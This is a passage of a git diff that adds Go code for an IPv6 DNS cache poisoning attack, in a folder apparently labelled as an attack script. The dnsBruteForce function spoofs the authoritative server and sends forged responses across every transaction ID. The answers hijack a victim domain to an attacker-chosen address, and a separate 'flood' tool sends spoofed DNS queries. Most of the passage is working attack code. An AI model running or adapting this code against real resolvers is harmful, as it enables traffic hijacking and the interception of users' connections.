(layers.UDPPort)(rand.Uint32()), 53) +} + +func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { + ipLayer := layers.IPv6{ + FlowLabel: 1, + SrcIP: src, + DstIP: dst, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + //Flags: layers.IPv4DontFragment, + } + udpLayer := layers.UDP{ + SrcPort: sport, + DstPort: dport, + } + dnsLayer := layers.DNS{ + ID: id, + QR: false, + OpCode: 0, + AA: false, + TC: false, + RD: true, + RA: false, + Z: 0, + ResponseCode: 0, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + Questions: []layers.DNSQuestion{{ + Name: []byte(name), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }}, + Authorities: nil, + Additionals: nil, + } + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) + } + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ sendDNSRequest: ", err) + } +} + +func bruteForceTerminatingTimer(timegap uint) { + time.Sleep(time.Duration(timegap) * time.Millisecond) + bruteForceCouldBeKilled = true +} + +func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, attTargetAddr string) { + bruteForceShouldBeKilled = true + bruteForceCouldBeKilled = false + ipLayer := layers.IPv6{ + FlowLabel: 2, + SrcIP: authIP, + DstIP: resolverBackendIP, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + //Flags: layers.IPv4DontFragment, + } + udpLayer := layers.UDP{ + SrcPort: 53, + DstPort: layers.UDPPort(targetPort), + } + dnsLayer := layers.DNS{ + ID: 0, + QR: true, + OpCode: 0, + AA: true, + TC: false, + RD: false, + RA: false, + Z: 0, + ResponseCode: layers.DNSResponseCodeNoErr, + } + + if !attackForwarder { + dnsLayer.Questions = []layers.DNSQuestion{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }} + // 原方案:将域名NS篡改到attacker的服务器上 + //dnsLayer.Authorities = []layers.DNSResourceRecord{{ + // Name: []byte(victimDNSName), + // Type: layers.DNSTypeNS, + // Class: layers.DNSClassIN, + // TTL: 300, + // IP: nil, + // NS: []byte(auxDomain), + // CNAME: nil, + // PTR: nil, + // TXTs: nil, + // SOA: layers.DNSSOA{}, + // SRV: layers.DNSSRV{}, + // MX: layers.DNSMX{}, + // OPT: nil, + // TXT: nil, + //}} + //dnsLayer.Answers = nil + //dnsLayer.Additionals = nil + dnsLayer.Authorities = []layers.DNSResourceRecord{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeNS, + Class: layers.DNSClassIN, + TTL: 300, + IP: nil, + // 暂时写死 + NS: []byte("nsv6.n64.top"), + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + dnsLayer.Answers = []layers.DNSResourceRecord{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + TTL: 300, + /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ + IP: net.ParseIP(attTargetAddr), + NS: nil, + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + dnsLayer.Additionals = nil + } else { + /* Change these flags accordingly to the request sent by the resolver. */ + dnsLayer.AA = false + dnsLayer.RD = true + dnsLayer.RA = true + dnsLayer.Questions = []layers.DNSQuestion{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }} + dnsLayer.Answers = []layers.DNSResourceRecord{{ + Name: []byte(dnsQueryName), + Type: layers.DNSTypeCNAME, + Class: layers.DNSClassIN, + TTL: 300, + IP: nil, + NS: nil, + CNAME: []byte(victimDNSName), + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }, { + Name: []byte(victimDNSName), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + TTL: 300, + /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ + IP: net.ParseIP(attTargetAddr), + NS: nil, + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + } + + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err) + } + if debugOutput { + fmt.Println("DNS BruteForce: ", targetPort) + } + + startTime := time.Now() + var txid uint16 + //try to see if this port is open in reality + for txid = 0; txid < GROUP_SIZE*2; txid++ { + dnsLayer.ID = txid + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err) + } + time.Sleep(time.Duration(timegap) * time.Microsecond) + } + + /* This is used for early termination */ + //verification packet + //xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0) + //go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60) + + //continue brute force + for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ { + /* This is used for early termination */ + //if bruteForceCouldBeKilled && bruteForceShouldBeKilled { + // fmt.Println("DNS Brute force aborted") + // break + //} + dnsLayer.ID = txid + err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ DNSBruteForce: ", err) + } + if timegap != 0 { + time.Sleep(time.Duration(timegap) * time.Microsecond) + } + } + + //0xffff is missing from packet trace + /* This is used for early termination */ + //if !bruteForceShouldBeKilled { + dnsLayer.ID = 0xffff + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err) + } + //} + if debugOutput { + fmt.Println("time: ", time.Now().Sub(startTime)) + } + + //help to recover the global counter + time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond) +} diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" new file mode 100644 index 0000000..4baf665 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" @@ -0,0 +1,15 @@ +module fakedns6 + +go 1.20 + +require ( + github.com/google/gopacket v1.1.19 + github.com/miekg/dns v1.1.57 +) + +require ( + golang.org/x/mod v0.12.0 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.13.0 // indirect + golang.org/x/tools v0.13.0 // indirect +) diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" new file mode 100644 index 0000000..5ab4292 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" @@ -0,0 +1,25 @@ +github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= +github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM= +github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= +golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ= +golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" new file mode 100644 index 0000000..09245d3 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" @@ -0,0 +1,103 @@ +package main + +import ( + "encoding/hex" + "fmt" + "net" + "os/exec" + "strings" + "syscall" + "unsafe" +) + +type router struct { + ifaces []net.Interface + addrs []net.IP + v6 routeSlice +} +type routeSlice []*rtInfo + +type rtInfo struct { + // Dst net.IPNet + Gateway, PrefSrc net.IP + OutputIface uint32 + Priority uint32 +} + +func getv6Gateway() (net.IP, error) { + rtr := &router{} + + tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) + if err != nil { + return nil, err + } + + msgs, err := syscall.ParseNetlinkMessage(tab) + if err != nil { + return nil, err + } + + for _, m := range msgs { + switch m.Header.Type { + case syscall.NLMSG_DONE: + break + case syscall.RTM_NEWROUTE: + // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) + attrs, err := syscall.ParseNetlinkRouteAttr(&m) + if err != nil { + return nil, err + } + routeInfo := rtInfo{} + rtr.v6 = append(rtr.v6, &routeInfo) + for _, attr := range attrs { + switch attr.Attr.Type { + // case syscall.RTA_DST: + // routeInfo.Dst.IP = net.IP(attr.Value) + // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) + case syscall.RTA_GATEWAY: + routeInfo.Gateway = net.IP(attr.Value) + case syscall.RTA_OIF: + routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PRIORITY: + routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PREFSRC: + routeInfo.PrefSrc = net.IP(attr.Value) + } + } + } + } + ips := []net.IP{} + for _, rt := range rtr.v6 { + if rt.Gateway != nil { + ips = append(ips, rt.Gateway) + } + } + return ips[0], nil +} + +func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { + if debugOutput { + println("邻居发现--使用网卡接口为:" + ifacename) + } + out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() + if err != nil { + println(err.Error()) + } else { + outlines := strings.Split(string(out), "/n") + for _, line := range outlines { + linelist := strings.Split(line, " ") + // 与网关对应的MAC地址 + if linelist[0] == gwIP.String() { + + maclist := strings.Split(linelist[2], ":") + var macbyte []byte + for _, m := range maclist { + b, _ := hex.DecodeString(m) + macbyte = append(macbyte, b[0]) + } + return net.HardwareAddr(macbyte), nil + } + } + } + return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") +} diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" new file mode 100644 index 0000000..edc4548 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" @@ -0,0 +1,171 @@ +package main + +import ( + "encoding/binary" + "errors" + "fmt" + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + "net" + "time" +) + +func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP []net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To16() != nil { + //check repeat + okToAdd := true + for _, temp := range srcIP { + if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 { + okToAdd = false + break + } + } + if okToAdd { + srcIP = append(srcIP, ipnet.IP.To16()) + } + } + } + } + + if srcIP == nil || len(srcIP) == 0 { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + buffer := gopacket.NewSerializeBuffer() + if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { + return err + } + return handle.WritePacketData(buffer.Bytes()) +} + +func GetIfaceAddr(iface *net.Interface) (net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To16() != nil { + srcIP = ipnet.IP.To16() + break + } + } + } + + if srcIP == nil { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) { + srcIP, err := GetIfaceAddr(iface) + if err != nil { + return nil, errors.New("can not get ip address") + } + + start := time.Now() + // Prepare the layers to send for an ARP request. + eth := layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, + EthernetType: layers.EthernetTypeARP, + } + arp := layers.ARP{ + AddrType: layers.LinkTypeEthernet, + Protocol: layers.EthernetTypeIPv6, + HwAddressSize: 6, + ProtAddressSize: 4, + Operation: layers.ARPRequest, + SourceHwAddress: []byte(iface.HardwareAddr), + SourceProtAddress: []byte(srcIP), + DstHwAddress: []byte{0, 0, 0, 0, 0, 0}, + DstProtAddress: []byte(gatewayIP), + } + // Send a single ARP request packet (we never retry a send, since this + // is just an example ;) + if err := Send(handle, ð, &arp); err != nil { + return nil, err + } + // Wait 3 seconds for an ARP reply. + for { + if time.Since(start) > time.Second*3 { + return nil, errors.New("timeout getting ARP reply") + } + data, _, err := handle.ReadPacketData() + if err == pcap.NextErrorTimeoutExpired { + continue + } else if err != nil { + return nil, err + } + packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) + if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil { + arp := arpLayer.(*layers.ARP) + if net.IP(arp.SourceProtAddress).Equal(gatewayIP) { + return arp.SourceHwAddress, nil + } + } + } +} + +func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int { + temp0 := binary.LittleEndian.Uint32(ip0.To16()) + temp1 := binary.LittleEndian.Uint32(ip1.To16()) + if temp0 == temp1 { + return 0 + } + if temp0 > temp1 { + return 1 + } + return -1 +} + +func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) { + + ipLayer := layers.IPv6{ + FlowLabel: flowlabel, + SrcIP: srcIP, + DstIP: dstIP, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + } + udpLayer := layers.UDP{ + SrcPort: srcPort, + DstPort: dstPort, + } + + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err) + } + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer) + if err != nil { + fmt.Println("xmitUDPv6 can not send packet", err) + } + + if timegap != 0 { + time.Sleep(time.Duration(timegap) * time.Microsecond) + } + +} diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.mod" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.mod" new file mode 100644 index 0000000..b55b38b --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.mod" @@ -0,0 +1,20 @@ +module flood + +go 1.21 + +toolchain go1.21.4 + +require ( + github.com/google/gopacket v1.1.19 + github.com/jackpal/gateway v1.0.13 +) + +require ( + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/stretchr/objx v0.5.0 // indirect + github.com/stretchr/testify v1.8.4 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.13.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.sum" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.sum" new file mode 100644 index 0000000..1cca74c --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.sum" @@ -0,0 +1,38 @@ +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= +github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/jackpal/gateway v1.0.13 h1:fJccMvawxx0k7S1q7Fy/SXFE0R3hMXkMuw8y9SofWAk= +github.com/jackpal/gateway v1.0.13/go.mod h1:6c8LjW+FVESFmwxaXySkt7fU98Yv806ADS3OY6Cvh2U= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" new file mode 100644 index 0000000..09245d3 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" @@ -0,0 +1,103 @@ +package main + +import ( + "encoding/hex" + "fmt" + "net" + "os/exec" + "strings" + "syscall" + "unsafe" +) + +type router struct { + ifaces []net.Interface + addrs []net.IP + v6 routeSlice +} +type routeSlice []*rtInfo + +type rtInfo struct { + // Dst net.IPNet + Gateway, PrefSrc net.IP + OutputIface uint32 + Priority uint32 +} + +func getv6Gateway() (net.IP, error) { + rtr := &router{} + + tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) + if err != nil { + return nil, err + } + + msgs, err := syscall.ParseNetlinkMessage(tab) + if err != nil { + return nil, err + } + + for _, m := range msgs { + switch m.Header.Type { + case syscall.NLMSG_DONE: + break + case syscall.RTM_NEWROUTE: + // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) + attrs, err := syscall.ParseNetlinkRouteAttr(&m) + if err != nil { + return nil, err + } + routeInfo := rtInfo{} + rtr.v6 = append(rtr.v6, &routeInfo) + for _, attr := range attrs { + switch attr.Attr.Type { + // case syscall.RTA_DST: + // routeInfo.Dst.IP = net.IP(attr.Value) + // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) + case syscall.RTA_GATEWAY: + routeInfo.Gateway = net.IP(attr.Value) + case syscall.RTA_OIF: + routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PRIORITY: + routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PREFSRC: + routeInfo.PrefSrc = net.IP(attr.Value) + } + } + } + } + ips := []net.IP{} + for _, rt := range rtr.v6 { + if rt.Gateway != nil { + ips = append(ips, rt.Gateway) + } + } + return ips[0], nil +} + +func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { + if debugOutput { + println("邻居发现--使用网卡接口为:" + ifacename) + } + out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() + if err != nil { + println(err.Error()) + } else { + outlines := strings.Split(string(out), "/n") + for _, line := range outlines { + linelist := strings.Split(line, " ") + // 与网关对应的MAC地址 + if linelist[0] == gwIP.String() { + + maclist := strings.Split(linelist[2], ":") + var macbyte []byte + for _, m := range maclist { + b, _ := hex.DecodeString(m) + macbyte = append(macbyte, b[0]) + } + return net.HardwareAddr(macbyte), nil + } + } + } + return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") +} diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/main.go" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/main.go" new file mode 100644 index 0000000..be0f1b4 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/flood/main.go" @@ -0,0 +1,192 @@ +package main + +import ( + "errors" + "flag" + "fmt" + "math/rand" + "net" + "os" + "strconv" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" +) + +// 各层的定义 +var ethernetLayer *layers.Ethernet +var debugOutput = false +var handle *pcap.Handle +var repeatTime = 100 + +func main() { + // 读取参数配置 + ifaceNameArg := flag.String("i", "vmnet1", "用于发送查询包的网络端口") + sourceaddrArg := flag.String("saddr", "", "伪造报文的源地址") + targetaddrArg := flag.String("taddr", "", "目标权威的地址") + qnameArg := flag.String("q", "www.baidu.com.", "请求查询的域名") + debugOutputArg := flag.Bool("d", false, "debug模式输出") + flag.Parse() + + // 指针->值 + ifaceName := *ifaceNameArg + sourceaddr := *sourceaddrArg + targetaddr := *targetaddrArg + qname := *qnameArg + debugOutput = *debugOutputArg + defer os.Exit(0) + + handle, _ = pcap.OpenLive( + ifaceName, + 65536, + true, + pcap.BlockForever, + ) + + // 构造MAC层 + var srcmac net.HardwareAddr + var dstmac net.HardwareAddr + if ifaceName == "" { + ifaceName = "eth0" + } + + // 源MAC + loiface, err := net.InterfaceByName(ifaceName) + if err != nil { + fmt.Println(err.Error()) + } + srcmac = loiface.HardwareAddr + if debugOutput { + fmt.Println("源MAC地址为: " + srcmac.String()) + } + + // 目的MAC + // 获取网关地址 + gwIP, _ := getv6Gateway() + fmt.Println("网关IPv6地址为:" + gwIP.String()) + dstmac, err = GetGatewayIPv6Addr(loiface, gwIP) + if err != nil { + fmt.Println(err.Error()) + } + if debugOutput { + fmt.Println("目的MAC地址为: " + dstmac.String()) + } + + // mac层包 + ethernetLayer = &layers.Ethernet{ + SrcMAC: srcmac, + DstMAC: dstmac, + EthernetType: layers.EthernetTypeIPv6, + } + + // dns查询 + for i := 0; i < repeatTime; i++ { + go sendDNSRequest(uint16(rand.Uint32()), qname, net.ParseIP(sourceaddr), net.ParseIP(targetaddr)) + } + if debugOutput { + fmt.Println("已连续发送" + strconv.Itoa(repeatTime) 